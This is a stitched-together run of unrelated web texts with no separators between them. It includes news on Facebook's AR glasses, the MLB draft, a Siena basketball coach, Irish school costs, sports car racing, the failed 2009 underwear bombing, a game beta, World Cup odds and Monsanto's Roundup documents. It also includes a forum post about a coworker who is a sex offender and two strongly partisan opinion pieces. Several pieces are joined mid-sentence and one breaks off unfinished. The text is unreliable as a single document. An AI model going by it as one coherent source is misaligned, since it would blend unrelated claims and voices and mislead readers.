This will be paired with Facebook’s recent push into live video, which lets people broadcast whatever they’re doing from a smartphone.
“Just the other week, I saw a live video of a woman with her young kids skiing down the hill,” Zuckerberg said. “I really just want to make sure these kids get down this hill.”
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Zuckerberg also showed a mock-up of a pair of augmented-reality glasses that looked more like a normal pair of dark-rimmed specs. Augmented reality allows images and data to be overlaid on our view of the real world, and will mean that a lot of physical objects could potentially be replaced by an augmented-reality app, he said.
“In the future if you want to pull out your photos and make it as big as you want, you could pull out your AR glasses and make it as big as you want and show it to people … objects like your TV could be replaced by $1 apps in the AR app store.”
“But it will take a long time to make it work.”My coworker and I have worked together for 5 years. I considered him a close friend at work.
He's middle-aged, married with kids, goes to church, conservative. His personality is a bit shy and awkward.
Two women at the office (who no longer work there) had mentioned he seemed creepy. I dismissed it and said they were overreacting and he was harmless.
Now I feel dumb because I recently found out he is a registered sex offender and on parole for 10 years for molesting a 7 yr old girl. I was bored one day and googled him. Dug deeper and found the court documents. I've lost sleep over it.
We work in a professional environment with no children.
I'm fairly certain my company does not know, and I have not told anyone. I'm having a hard time dealing with this and no longer want to work around him.
I catch him looking at my breasts or another woman's body and it grosses me out. He sat in my office the other day and did that thing where he opened and closed his legs real fast almost like to stimulate himself, and I felt sick to my stomach. Occasionally, I change in the bathroom after work to jog at a nearby park and he locks the front office door when I go to the bathroom and "helpfully" meets me at the door to unlock it, the whole time staring at me in my shorts.
He's never done anything blatantly inappropriate, and I'm sure my perceptions of him and our interactions are now tainted by the knowledge of his past, but there is something off about him.
I'm almost tempted to anonymously report him to management as I'm pretty sure the company does not know. Somehow, I think this will make me feel better but I don't know. How do I move on from this knowledge?
I recently found out my coworker is a registered sex offender - plead guilty to molesting a 7 yr old girl. How do I get over this?CLEVELAND, Ohio -- Clint Frazier is not much of a singer, as evidenced by his one-line rendition of a Taylor Swift hit during an MLB Network draft feature. But Frazier can get the bat through the zone in a blink, which is all that mattered Thursday night.
The Indians made Frazier, a high school center fielder from Georgia, the fifth pick in the MLB draft. Earlier in the week, Frazier was named the Gatorade national baseball player of the year.
The first two rounds of the three-day draft unfolded Thursday. The Indians did not have a second-round pick because they signed Nick Swisher. They lost a competitive-balance pick, between the second and third rounds, by signing Michael Bourn. Their next pick is in the third round, 79th overall.
Many analysts rated Frazier and his neighborhood buddy, center fielder Austin Meadows, as the top two prep bats. Frazier, from Loganville High School, and Meadows, from Grayson, played with and against each other since elementary school. Meadows went No. 9 to Pittsburgh.
Frazier, 18, was the cover boy on Baseball America's draft preview issue. Baseball America ranked him at No. 4 in its top 100 on draft day. Listed at 6-1, 190, Frazier has been called a mini-Mike Trout. He hit.485 with 17 homers and 45 RBIs in 2013. As a junior, he hit.424 with 24 homers to lead Loganville to the AAAA Georgia state championship.
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Stats, though, barely begin to tell the story of Frazier. What separates him are must-see swing mechanics.
"He's an impact bat, with impact bat speed," Indians scouting director Brad Grant said. "As soon as you walk in and see Clint, the first thing you notice is the bat speed. It's exciting. It's almost like a coiled snake, a snakebite. It's so fast and so quick and generates so much power. It's a special swing. It's not something you often go to a high school game and see."
Former Indians General Manager John Hart, an MLB Network analyst, said Frazier "jumps off the board" primarily because of the bat speed, which delivers power to all fields. Scouts have noted Frazier's "Popeye" forearms and ultra-quick wrists as the foundation for a violent, yet compact, approach.
Frazier has signed a letter of intent to play at Georgia. As much as he likes the Bulldogs, he is eager to begin a pro career.
"It's very obvious I want to go out and play professional baseball," he said via conference call. "I'm not going to comment on what I'll do right now until I know, but professional baseball is my first option."
Frazier said the homers decreased as a senior because pitchers did not want to let him beat them.
"I had more power my senior year, just based on the distance of the balls I was hitting," he said. "I didn't lose any power. It was the fact that I didn't get as many opportunities."
Evaluators also appreciate Frazier's passion for the game.
"He's definitely a baseball rat," Grant said. "He understands the game, for a high school kid, extremely well. It's what he lives for. This is what he wants to do: play baseball. He has a confidence to him. He has the ability to slow the game down mentally, but at the same time has these fast-twitch actions."
The Houston Astros made Houston native Mark Appel, a right-hander from Stanford, the first pick. Appel has drawn comparisons to Mark Prior. Last year, the Astros held the first pick and passed on Appel, who reportedly wanted too much money for Houston's liking. Appel fell to Pittsburgh at No. 8 and did not sign.
The Chicago Cubs selected San Diego third baseman/outfielder Kris Bryant at No. 2. A right-handed batter, Bryant possesses "light-tower power." He hit.329 with 31 homers and slugged.820 in 228 at-bats of 59 games this season.
The Colorado Rockies opted for Oklahoma righty Jonathan Gray at No. 3. Gray's fastball has hit triple-digits. He reportedly tested positive for the stimulant Adderall. Most mock drafts had the combination of Appel, Bryant and Gray comprising the top three picks. At No. 4, the Minnesota Twins selected righty Kohl Stewart, a prep pitcher from Texas. Stewart is a Texas A&M recruit at quarterback.
"We were focused on taking the best player available," Grant said. "Obviously, those first four picks were in our consideration, too. We put the board up based on ability and took the best player when it came to our turn."
Frazier, after seeing the names that went 1-4, said he had a good feeling he was going to Cleveland. MLB Commissioner Bud Selig did, indeed, call his name -- but as a third baseman. Frazier transitioned from third base to center field beginning in his junior year.
"I actually went up to a representative from the Indians and said, 'Am I playing third base?'" Frazier said. "He said, 'No, [Selig] just made a mistake.' I have not played there in two years, so I'd definitely need to make an adjustment if I went back."
Grant said: "We envision him staying in center field for the long term."The liberation of Libya from Gathafi illustrates how Western interests define the labels of freedom fighter or terrorist amongst allies and enemies.
Today, the brave and deeply Islamic people of Libya, who have brought down the tyrant and one-time western ally Muammar Gathafi, are rightly lauded as heroes. NATO exploited the fact that no neighbouring Muslim state was willing to send an army to help the people – switching from its position backing the Gathafi regime as an ally in the ‘War on Terror’ to backing his opponents. But even that cannot detract from the bravery of those who rose up against his rule, defended themselves against his onslaught, and then proceeded to sweep him from power.
Even western media outlets like the BBC, CNN and Sky News celebrate these fighters as heroes – despite their ‘takbirs’ [cries of ‘Allahu Akbar’ meaning ‘God is the Greatest’], though they are usually portrayed as having a patriotic motivation as opposed to an Islamic one.
But the position of these prominent media outlets, like those of their governments, is rank hypocrisy. This hypocrisy is not limited to the fact that the Gathafi family were friends turned enemies; nor because they were silent when Blair hugged him close [literally, not metaphorically] and Brown sent him Christmas cards; nor simply because they deal happily with some of the same criminals who remained by Gathafi until the eleventh hour. Any one of these are reason enough on their own.
But the hypocrisy that in question relates to how resistance in Libya has been portrayed as compared to resistance in Palestine, Kashmir, Iraq and Afghanistan; how some fighters are portrayed as “terrorists” or “insurgents” and others referred to as “resistance” or, in the case of Libya, “rebels”. The labelled used by media organisations are the product of much editorial discussion, and reflect the political interests they represent.
The media has celebrated these Muslim Libyan fighters in a way we have not seen for a long time, although initially there were many questions as to the political identity of the ‘rebels’. British citizens of Libyan origin have been interviewed and [rightly] lauded for their bravery and sacrifice – leaving the comfort of their lives in the UK to fight for what they believed in.
Yet only a few years ago, people from the UK who went to help resistance to oppression in Palestine, Kashmir, Chechnya, Iraq or Afghanistan were labelled as ‘terrorists’, arrested or kidnapped, in some cases tortured and then imprisoned. Some of these people ended up in Guantanamo Bay, despite the fact that they had not even travelled specifically in order to fight – rather they were either living in or visiting those locations, and saw first-hand the injustice and violence meted out on the locals, and so became involved. Others, who even considered going, might have been prosecuted for acts preparatory to terrorism. Anyone offering moral supporting to such resistance might even have been accused of ‘glorifying terrorism’.
Recently, the BBC revealed that around 4000 people who, based on their conscience and convictions, travelled to fight against Franco in the Spanish Civil War. For the most part they had no direct relationship to the conflict. They simply wanted to support those who wished to overthrow a fascist tyrant. The media also chooses to ignore British citizens joining the Israeli ‘Defence’ Force that commits atrocities abroad.
Today, the idea that someone could do the same, based on Islamic convictions is an anathema to the western media. Indeed, they will even single Muslims out for prosecution under anti-terrorism laws, though once upon a time the mujahideen fighting against the Soviet Union were lauded as heroes.
All of this merely proves something well known – the politics of ‘terrorism’ is that of hypocrisy. One man’s freedom fighter is another’s terrorist, depending on their interests. It’s not saying something new, just flagging the obvious based on current events.
Today, the politics of ‘terrorism’, laws relating to ‘terrorism’ and media coverage on ‘terrorism’ is all based exclusively on the political agenda and interests of the country concerned: whether the country is Britain, the United States and France or from China, Russia and other – who copy the west in using the language of terrorism to criticise their enemies.
By the same logic, the people of Libya, and those who wish well for them, should be under no illusions that NATO’s backing, and continuing involvement is anything to do with high principle, or helping the people. It is about interests. If, at a later date, NATO believes that those interests are not being served by backing the Libyan people, they will turn on them as quickly as they turned on Gathafi.
Given that former British Prime Minister Lord Palmerston once said “We have no eternal allies, and we have no perpetual enemies. Our interests are eternal and perpetual, and those interests it is our duty to follow” it might be worth the people of Libya taking some quick lessons in British history before they find themselves victims of yet another hypocritical deception. Abdul Wahid writes and speaks on political and social issues affecting Muslims in the UK, Europe and across the world. Though a doctor by profession, he is a regular contributor at the online political affairs site, New Civilisation (www.newcivilisation.com). He has been published in The Times Higher Educational Supplement and on the websites of Foreign Affairs, Open Democracy and Prospect magazine. He can be followed on Twitter @abdulwahidht or emailed at [email protected]Andy Manis/Associated Press
Loudonville, N.Y. — Jimmy Patsos would say it himself: He can be all over the place.
The third-year Siena coach said before the season that he’s trying to be more “dialed in” this year. It’s not hyperbole to say he can be hyper. He sees outside the box, around the box—he sees boxes down the street. Maybe even during a media-timeout huddle.
“I’m a little bit of a dreamer,” he says. “I probably got that from my old man.”
His Saints started the season with a murderer’s row of opponents, as they faced national champion Duke and runner-up Wisconsin in their first two games, both on the road. Both one-sided losses. Maybe that’s a nightmare to some, but it could be worse to him. He’s lived a dream basketball life by many accounts.
He has rebuilt a program, shut down Steph Curry (yeah, that Steph Curry) and basically done it his way, with his unique style.
Patsos, who will turn 50 in October, also coached at Maryland during the glory years. Who wouldn’t want that? He was a valued assistant for Gary Williams and was part of the national championship team, then stayed in-state at Loyola and turned a one-win doormat into an entryway to the NCAA tournament.
Lance King/Getty Images
He is a coach in a fairly small conference, and the program hasn’t made an NCAA tournament since 2010. The Saints will have to dogfight through the traditionally one-bid MAAC with Iona to have any chance of hearing about them again come March. You're probably hearing a lot about giant-killer Monmouth these days, too. It will be a terrific race, though not exactly national news.
But as this college basketball season takes shape, the name Jimmy Patsos deserves some play.
He called the opening two games a “lifetime adventure” for his players. The Saints chartered a plane and flew with 30-some fans, a very rare luxury. The Blue Devils and Badgers were also part of the 2K Sports Classic. Everyone knew Siena could easily get blown out. But that’s not exactly the point here. Even while coming off an 11-20 season, this time of year bears telling a few Patsos stories.
With Patsos, there’s always a story. And usually a lesson, too.
BOB JORDAN/Associated Press
Legendary former Maryland coach Gary Williams never had a reputation as the warmest guy in the business. But he’ll gladly return a call about Patsos, who spent 13 years with him rebuilding the Terrapins. Williams talks glowingly about his old pal’s energy level, commitment and an ability to talk to anyone.
“Jimmy being Jimmy,” Williams says, almost like a proud father.
And it doesn’t need to revolve around basketball season. Patsos loves the Grateful Dead, so he saw their last show in Chicago last summer. And how many Division I coaches do you suppose have a tie-dye peace sign on their arm? He shunned booze for a little more than a year, and his reward in 2008 was ink, done at the legendary Spotlight Tattoo by Bob Roberts in Hollywood: "The John Wooden of the tattoo business, really,” Patsos says, proudly extending his arm.
Kim Klement-USA TODAY Sports
He loves horses, so you can find him making the short drive to Saratoga Race Course often in the summer, too. He is a foodie at heart (like his wife, Michele). He’ll chew your ear off, too, on just about any topic.
He is more well-rounded than the basketball itself.
In August, he was gung-ho to talk about the Middle East.
That’s because it had been less than 24 hours since he returned to Siena from a goodwill basketball trip to Kuwait (joining several ex-coaches, such as Pete Gillen and Steve Lavin). Patsos marvels at how the oil-soaked country is the size of Rhode Island.
He could talk about this for hours with a close friend or a perfect stranger. But then he interrupts himself, drops this Middle East-related nugget: “I was supposed to be on a 9/11 plane.”
You wonder how he gets from topic to topic at a tempo that would be at the top of any KenPom conversational algorithm. But then, this is a guy who, on his Nov. 3 televised coaches show, mentioned (former pro basketball player) Lawrence Moten, (downtown Albany’s) Corning Tower, (former president) Ulysses S. Grant and Cooperstown (site of the Baseball Hall of Fame in upstate New York) before the emcee could sneak in a question.
But the 9/11 story, told on the fly, is one Williams confirms. Patsos had a ticket bound from Boston to the West Coast to visit a recruit who committed to Georgetown. Ultimately, the trip was canceled. The memory of that fate travels on.
Patsos remembers sitting slack-jawed in the Maryland basketball offices, watching the national disaster with Williams and other staff.
“Yeah, that makes you think,” Patsos said.
Patsos is shaped by that experience. Don’t take basketball too seriously, in other words.
“It’s No. 1, but it’s not everything,” he says.
Patsos would take his Loyola (Maryland) teams to nearby historical landmarks. He met his wife on a team tour of Gettysburg.
He's committed to making the most of everyday. Maryland won the national title in 2002, the season affected by 9/11. UM wasn’t even sure it would have a season, because the campus is so close to heavily affected Washington D.C.
That’s part of why he lives the life he loves, and he loves the life he lives.
Those who know him would say his biggest asset, his gregarious personality, could be his largest problem if the Saints aren’t winning. Win games, and he’s the toast of the town. Lose, and detractors will say he should be more reclusive. He is following in the Siena footsteps of Fran McCaffery (2005-10) and Paul Hewitt (1997-2000), so the fanbase arguably has more expectations for coaches than it does for players.
But Patsos calls Siena “the perfect job” to teach. It’s a different recruiting world, first of all, than the one Duke or Wisconsin live in. But it’s also on more competitive ground than, say, Loyola.
“If I didn't make it, I could always go be a Division III coach was how I used to figure it,” Patsos said of his playing days and a philosophy that shaped him. “When I started, I just wanted to be a high school coach and own a bar.”
That’s not the dream anymore, but he once upon a time found a way to make shooters and shooting guards mix.
He was a young bartender in the Georgetown neighborhood of Washington D.C. at the famed (but since closed) The Third Edition, made famous in the 1985 film St. Elmo's Fire. He poured drinks for about a decade while in college, then as a restricted-earnings coach at Maryland. He could talk to just about anyone about anything.
Mary Langenfeld-USA TODAY Sports
A regular Sam Malone.
He invariably learned how to communicate with all types—a handy skill in becoming one of the ACC’s top recruiters.
He’d be the kind of guy you’d want as your barkeep, notes George Washington coach—and former college roommate at Catholic University in Washington D.C.—Mike Lonergan. Quick to talk to anyone. The ladies loved him. The life of the party.
Lonergan is, by Patsos’ standard, a very straight arrow. He quips he’s done giving his buddy advice. How to schedule. How to survive the landmines of the profession. Basically, how to tone it down from 10 to maybe 9.5. “Jimmy dances to his own beat, or whatever they say,” Lonergan says with a big-brotherly type of laugh.
Professor Patsos is still teaching, though. He once taught Loyola players about gay-rights activist Harvey Milk (who actually attended school near Siena, at the University at Albany) while they were in the Bay Area. They even visited the eye-opening Castro District. Recently graduated player Rob Poole noted how the Saints viewed movies like Selma. The team attended a showing of Straight Outta Compton this summer and then discussed it.
“I’m all about personal freedom,” Patsos says.
It’s not always so hardcore, though. He took a team to Wrigley Field once. Poole couldn’t believe when Siena visited Niagara Falls on a road trip. Patsos disdains fellow MAAC coaches who haven’t done the same |
rental schemes “work best when they are supported fully by everyone at the school”, and it outlines how parents can help in many practical ways to set up or run a textbook rental scheme.
Do you know what would be an even better idea, Minister? That your department roll out a universal book-rental scheme and then make it mandatory. The department funds the administration of the scheme.
It wouldn’t cost the earth. They can afford to do it in Northern Ireland and loads of other countries in Europe. It would save Irish parents hundreds of millions of euro over the next few years. And the savings would just keep coming for ever.
And then we have voluntary contributions.
Let’s define the term. Voluntary means “done, given, or acting of one’s own free will”. That is not, however, what many schools think it means. Some put huge pressure on parents to pay up, with constant reminders sent via their children. Some even go as far as to identify, in front of their classmates, the children of parents who have not paid the contribution.
Financial nightmare
For years, the National Parents Council has waged an entirely unsuccessful war against voluntary contributions, which it describes as “a financial nightmare”. It has called on schools to set up funding committees to look at alternatives to simply passing on the cost of funding shortfalls to parents. Some are proactive; others appear at ease with the status quo.
That Dáil committee said such things should be “greatly discouraged, if not completely prohibited”. But a voluntary contribution will be made by 79 per cent of parents over the course of the next school year. The average amount sought by schools comes in at €118 per child, up from €112 in 2015
So you see, Richard, there are a few things you could do that would save Irish parents hundreds of euro every year. Do them quickly and you will be the hero Minister for Education people are still writing about in 50 years’ time. Don’t do anything and you will be very quickly forgotten.
Something to think about while you’re on your holliers, maybe?
PLAN AHEAD: 10 TIPS TO CUT BACK ON SCHOOL COSTS
Give yourself a budget and write a list, making sure to include school trips and extracurricular activities. In an ideal world, you would spread the costs over a few months.
Good-quality second-hand books and other items can be found on sites such as donedeal.ie and ebay.ie.
Check if you’re eligible for the back-to-school clothing and footwear allowance. It is worth €100 for children up to the age of 11, and €200 from 12 on.
Buy a generic uniforms if possible, but beware of false economies: cheap clothes may not last a full year.
If your school hasn’t set up a secondhand system for uniforms or books, offer to do it. Even an informal uniform (and book) swap shop with other parents can save a fortune.
Buy in bulk. There are always offers at school time, so work out how many copybooks, pens, pencils and notebooks you will need and buy it all.
Plan lunches in advance and shop in Lidl and Aldi, where you will spend at least 30 per cent less than in corner shops. Don’t overstuff lunchboxes.
Check supermarkets for special offers on lunchbox staples.
If you routinely drive your child to school, you might consider alternatives such as walking or cycling, if practical. Not only is it cheaper, it is much better for you and them.
Don’t be suckered in by cheap rucksacks or ones with this year’s craze emblazoned all over them. Buy a relatively plain, good-quality one and it can last for years.Ryan Dalziel heads into this weekend’s Six Hours of Circuit of The Americas in familiar territory, as the Scot makes his return to the FIA World Endurance Championship with the same car and engineer that took him to the LMP2 world title.
This time around, though, Dalziel is helping lead Extreme Speed Motorsports’ foray into the globe-trotting championship, with the Scott Sharp-owned team set for its FIA WEC debut, in a first step towards its goal of competing in next year’s 24 Hours of Le Mans.
“It actually goes back to when I was signing my deal with them and we started talking about Le Mans and the potential of going there in 2014,” Dalziel told Sportscar365. “The plan was to always get there.
“The biggest focus for us will always be Le Mans so that’s why we kept with the HPD P2 car. COTA is one of those opportunities where we’re on home soil. It’s not a big expense.”
Dalziel, who scored class wins at the Twelve Hours of Sebring and 24 Hours of Le Mans en route to the FIA WEC title with Starworks Motorsport in 2012, will be joined behind the wheel by Sharp and Ed Brown in the No. 30 Tequila Patron-sponsored HPD ARX-03b.
COTA marks a split approach for the Florida-based squad, as it moved its TUDOR United SportsCar Championship season-long entry over to the FIA WEC race, while still entering the No. 2 car for Brown and Johannes van Overbeek in Saturday’s IMSA round.
“The No. 1 car is really nowhere in the TUDOR Championship, so for us we’re testing the waters in another series and we also want to try the car on Dunlops and in WEC-spec to see where we’re at,” Dalziel said.
“Although we’ve had a couple of good races in TUDOR, and we feel like we’ve made big steps as a team in the past couple of races, we feel like the opportunity to win after Road America is just not there for us. We want to go somewhere to try something different and see what we can do.”
It’s been a challenging season for ESM, or any P2 team for that matter, in the TUDOR Championship, with the Balance of Performance often times seeing the ACO-spec prototype struggle against the more powerful DP entries.
While Brown and van Overbeek broke through for a maiden overall win at Mazda Raceway Laguna Seca, the team has yet to revisit victory lane since, which has seen only one further win by a P2 car.
“The way we look at TUDOR is that our main competition is the sister car with Johannes and Ed and the OAK car. So we kind of looked at [TUDOR] as a three-car championship, which is disappointing,” Dalziel said.
“There’s five cars, including us, for [WEC] at COTA. It’s not where it was but you always see a little bit of a drop-off in WEC when you get post-Le Mans but I think by 2015, the grid is going to be back to where it was a few years ago.”
Dalziel and the team have set modest expectations for this weekend, targeting a podium finish, but most importantly, using the race as a learning experience.
“For us, we’re not really here with any expectations other than to have a good, reliable race,” he said. “We haven’t done a six-hour race since Watkins Glen, so we’re looking to see if a lot of the changes we made mid-season in crew and personnel can pay off and we can go compete.
“The HPD is a great car. It’s generally reliable and good on tires. I think for us, we’re looking forward to competing against equal equipment and equal cars. It’s a great venue and we love going to COTA. A win would be great.”
As for the team’s potential future in the FIA WEC, Dalziel said they are taking one race at a time, although admitted title sponsor Tequila Patron’s interest in the global market.
“Looking at it from a global brand perspective, Patron has such a huge reach globally, much does WEC,” he said.
“Not that TUDOR doesn’t, but it’s the World Endurance Championship and it’s a good opportunity for Patron and the marketing people to see if it’s something to look at in the future.
“For now, we’re looking at it as one race and see where we go in the future.”Umar Farouk Abdulmutallab was on a suicide mission when he attempted to detonate a bomb in his underpants as the plane, en route from Amsterdam, approached Detroit
The notorious underwear bomber's plot in 2009 to blow up a plane on Christmas Day failed because the explosives became 'degraded' after he wore the same pair of underpants for two weeks, according to a U.S. official.
Nigerian Umar Farouk Abdulmutallab was on a suicide mission when he attempted to detonate a bomb in his underpants as the plane, en route from Amsterdam, approached Detroit.
The bomb however failed to detonate aboard the flight, which was carrying nearly 300 people, but caused a brief fire that caused burns to his groin.
He was sentenced to life without parole in February 2012 after he pleaded guilty to all charges on the second day of his trial the previous October.
The head of the Transportation Security Administration said this week the bomb failed to detonate because of how long Abdulmutallab had been wearing his underwear.
John Pistole told the Aspen Security Forum: 'The bomber had had the device with him for over two weeks.'
Mr Pistole was then asked whether the bomb had become 'damp', to which he replied: 'Let's say it was degraded.'
During his trial, Abdulmutallab said the bomb in his underwear was a 'blessed weapon' to avenge poorly treated Muslims around the world.
After the bomb failed to detonate, passengers pounced on Abdulmutallab and forced him to the front of Northwest Airlines Flight 253 where he was held until the plane landed minutes later.
The head of the Transportation Security Administration said this week the bomb failed to detonate because of how long Abdulmutallab had been wearing his underwear
In 2009, months before the attack, he travelled to Yemen to see Anwar al-Awlaki, an American-born cleric and one of the best-known al Qaeda figures, according to the government.
He told investigators that his mission was approved after a three-day visit with his mentor.Those attending Sony's E3 Experience Event will receive access to the Battlefield Hardline beta for PlayStation 4 systems, IGN is reporting.
Access to the beta was first rumored when users who RSVP'd for the Sony E3 event were emailed PS4 code alongside confirmation of attendance. This beta allegedly offers access to two new game modes on a map called High Tension. The Sony E3 Experience event is a streamed event that will screen simultaneously across cinemas in the U.S. and Canada. You can find information of participating theaters right here.
Electronic Arts plans to unveil this Battlefield title on June 9 during its E3 2014 press conference, the company announced last month.
Hardline was leaked earlier last month from the series' website following the discovery of a new game, "BFH," on the Better Battlelog forums. The game was listed for PlayStation 3, PlayStation 4, Windows PC, Xbox 360 and Xbox One and included four soldier classes: Enforcer, Mechanic, Operator and Professional. A logo for the game was obtained shortly after, along with images of in-game weapons, vehicles and more.
Battlefield 4, the last entry in the series, launched last fall for consoles and Windows PC. Battlefield Hardline is one of six new games EA will apparently reveal during the press briefing on June 9.Google hiring 10,000 reviewers to censor YouTube content
By Zaida Green
8 December 2017
Google is escalating its campaign of internet censorship, announcing that it will expand its workforce of human censors to over 10,000, the internet giant announced on December 4. The censors’ primary focus will be videos and other content on YouTube, its video-sharing platform, but will work across Google to censor content and train its automated systems, which remove videos at a rate four times faster than its human employees.
Human censors have already reviewed over 2 million videos since June. YouTube has already removed over 150,000 videos, 50 percent of which were removed within two hours of upload. The company is working to accelerate the rate of takedown through machine-learning from manual censorship, according to YouTube CEO Susan Wojcicki in an official blog post.
The hiring drive by Google is yet another advance in the campaign against any expression of political opposition. Other social media giants have implemented measures against “fake news”; Facebook has altered its algorithms to reduce the visibility of certain news stories, and Twitter has banned the Russian-funded media outlets RT and Sputnik from advertising on the platform. While railing against “extremist content,” “child exploitation” and “hoaxes” in the interest of “public safety,” the ultimate goal of this campaign is the suppression of left-wing, anti-war sentiment.
Any censorship on YouTube will undoubtedly have an immense impact on online political discourse. According to a white paper by technology conglomerate Cisco, video will account for 69 percent of all consumer-based internet traffic in 2017; this is expected to rise to 80 percent by 2019. YouTube essentially operates a monopoly on prerecorded video sharing and general video monetization, with some 1.5 billion viewers who watch 1 billion hours of video each day on the platform; in 2015, Google policy manager Verity Harding informed the European Parliament, which was then pressuring YouTube to censor “terror-related” content, that 300 hours of video were being uploaded to the platform every minute.
YouTube began removing photographic and video documentation of war crimes in Syria in August, terminating some 180 accounts and removing countless videos from other channels, including footage uploaded by Airwars of coalition air raids that have killed civilians, according to Hadi al-Khatib, the founder of Syrian Archive. YouTube later stated that it would work to “quickly reinstate” any videos and channels that it “removed mistakenly.”
In November, YouTube removed over 51,000 videos concerning Anwar al-Awlaki, the Yemeni-American imam who was assassinated via missile raid by the Obama administration on September 30, 2011. Awlaki was never charged with, let alone convicted of any crime. The mass removal was praised by the New York Times, one of the largest mouthpieces of the American ruling elite, as a “watershed moment.”
YouTube’s automated video removal system, implemented in August, places some videos under a “limited state” which makes it impossible for users to access the videos without already having the URL. Limited videos will not appear in search results, playlists, or viewers’ own histories. In addition, the videos can no longer be liked or disliked, commented on (all previous comments are hidden as well), monetized, embedded on other websites, or easily shared on social media through YouTube’s share buttons. YouTube has not revealed what criteria it uses to categorize a video as “extremist” and delist it.
The company has also begun using automated demonetization to financially censor video producers who upload content it deems “inappropriate” for monetization, including “controversial or sensitive subjects, war, political conflicts, natural disasters and tragedies, even if graphic imagery is not shown.” In August, the videos of “Ron Paul’s Liberty Report” were demonetized after a “manual review” by YouTube found it “unsuitable for advertisers.” Julian Assange referred to the action as “economic censorship,” noting that the “unsuitable” videos featured the former congressman’s criticism of president Donald Trump’s decision to send more American troops to Afghanistan, as well as criticizing the US Senate Intelligence Committee for branding Wikileaks a hostile foreign intelligence service.
YouTube has openly admitted on Twitter that it is censoring videos based on content, stating, “if the video is also not suitable for a wider audience … then it might see poorer performance.”
The system may also pre-emptively flag videos as unsuitable for advertising even before it is uploaded. In the cases where the censorship system cannot evaluate the content of the video—because it doesn’t exist—it bases its decision on the video’s description, tags, and thumbnail.
The requirements to file an appeal against demonetization are extremely demanding, leaving most small producers with zero recourse. To file an appeal, the channel must either have more than 10,000 subscribers, or the video in question must have at least 1,000 views within the past seven days. Producers are also not informed of when or what in their video the system finds inappropriate. Both small and large producers have complained on Twitter of double-digit percentage drops in new views after their videos have been demonetized, making it even more difficult to meet appeal requirements.
Google is not alone in its expansion of automated censorship. Last week, Facebook announced its newly implemented system to scan users’ posts and contact police and other first-responders, ostensibly to prevent suicide.
Last month, Google admitted to “demoting” content from RT and Sputnik news in its search engine and news service, confirming allegations by the World Socialist Web Site that the company engages in mass political censorship in the name of fighting “fake news.”
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Net neutrality and the drive to censor the internet
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Please enable JavaScript to view the comments powered by Disqus.In preparation for the World Cup draw, Opta's team of analytics specialists constructed a World Cup simulator that could handle any possible World Cup draw permutation and determine probabilities and expectations for every team lucky enough to be competing next summer in Brazil. Using historical data collected from international matches dating back to the 2010 World Cup, the analysts created a model that weighs the strengths of any two teams against each other to determine the probabilities for each possible result.
In order to do this, the simulation calculates the number of goals each team is expected to score in a particular match and sets this as the mean number in a Poisson distribution. Then, using a random number, each team is awarded an actual number of goals for the match according to the probabilities set by their team-specific distribution. This process is repeated thousands of times until the probabilities of different results stabilize.
For example, in a game where Team A is expected to score 1.7 goals and Team B is expected to score 1.3 goals, Team A is expected to win about 47 percent of the time, a draw is expected 29 percent of the time and Team B is expected to win 24 percent of the time. Check my (imperfect) online simulator here:
Just prior to Opta kicking off the volume of simulations, the United States was placed into an immensely difficult group featuring Germany, Portugal and Ghana. Despite the immediately grim response from US fans, Opta's simulator provided a surprising and encouraging 38.5 percent chance of advancing out of the group stage.
38.5 - According to @OptaPro, @ussoccer have a 38.5% probability of advancing out of group play at the #WorldCup 2014. Chance. — OptaJack (@OptaJack) December 6, 2013
Here is Opta's current understanding of the likelihood of different group G teams advancing into the knockout stage.
As one of the pre-tournament favorites, there is little surprise that Germany has the greatest chance of advancing out of the group. With the likes of Cristiano Ronaldo, who is arguably the best current soccer player on the planet, Portugal is also favored. But, because of a weak performance in the African Nations Cup as well as a handful of poor results in contested Friendly matches, this model suggests that Ghana isn't quite the same team that knocked the United States out of the 2010 World Cup.
The United States pre-tournament chance of 38.5 percent advancement from the group isn't quite as favorable as a flip of a coin, but the US can quickly eclipse the 50-percent mark with some favorable results.
For example, these are how the chances of advancement increase based on the result of the US - Ghana match in Natal:
... the US - Portugal match in Manaus:
... and the US - Germany match in Recife:
In other words, while group-stage victories for the United States might be difficult, those results would go a very long way toward paving a path to the knockout rounds. A win vs. Ghana in the US' opening match would increase their chances of advancing from 38.5 to 56.2 percent, while a loss would drop the US hopes of advancement to an overall chance of 29 percent – a 23.6-percent decrease.
Unlikely wins against Portugal or Germany would nearly double the US chances of advancement. No surprise there, they are the favorites. An upset will always drastically change the expected outcome.
But the wrench in the system is that a tie in the pivotal US - Portugal match would not greatly benefit the US's chances of advancement. With goal differential commonly being the final arbiter in group stage iterations that featured a draw between the US and Portugal, and the United States unlikely to unload a boat-load of goals in what will likely be a conservative and cagey opening match against Ghana, it is in the best interest of Jurgen Klinsmann and company to throw a speculatively attacking lineup out against Portugal.
No matter the result against Ghana, a draw against Portugal is unlikely to be good enough for advancement. Against Portugal, the United States will have to go big to avoid going home.More than 75 documents released Tuesday in a lawsuit against agrochemical and genetically modified seed giant Monsanto reveal internal debate with regard to the safety of the company's glyphosate-based herbicide, Roundup. The documents, which were released by Baum, Hedlund, Aristei & Goldman, a law firm involved in the suit, include internal emails and text messages sent by Monsanto employees.
One 2001 email written by a Monsanto scientist reads, “If somebody came to me and said they wanted to test Roundup I know how I would react — with serious concern.”
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Another message written by a company executive in 2003 reads, “You cannot say that Roundup is not a carcinogen… we have not done the necessary testing on the formulation to make that statement.”
The documents also show that the company attempted to influence the news media with regard to the product's safety, with evidence that several academics participated in or were encouraged to participate in “deceptive authorship” concerning research on the company's glyphosate-based Roundup. John Acquavella, a former Monsanto employee writing research funded by the company, expressed discomfort with regards to this policy in a 2015 email to a Monsanto executive, calling the company’s attempted veiled ghostwriting “unethical.”
The documents show that Henry I. Miller, meanwhile, a vociferously pro-GMO academic, asked the company to provide a “high-quality draft” of a rebuttal the company requested he write following the 2015 publication of the findings of the World Health Organization's International Agency for Research on Cancer labelling glyphosate a “probable” carcinogen. Miller published such a story in Forbes, though the story was removed from the website on Wednesday, and the publication told the New York Times that it has since ended its relationship with Miller.
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The documents also reveal that A. Wallace Hayes, the former editor of Food and Chemical Technology, had a contractual relationship with Monsanto. In 2013, Hayes retracted the now-infamous study conducted by Gilles-Éric Séralini that found that Roundup could cause cancer and early death in rats from the journal. Hayes maintains, however, that “Monsanto played no role whatsoever,” in this decision, the New York Times reports.
Monsanto is “outraged” by the release of these documents, according to the Times.
“There is a standing confidentiality order that they violated,” said Scott Partridge, vice president of global strategy for Monsanto.
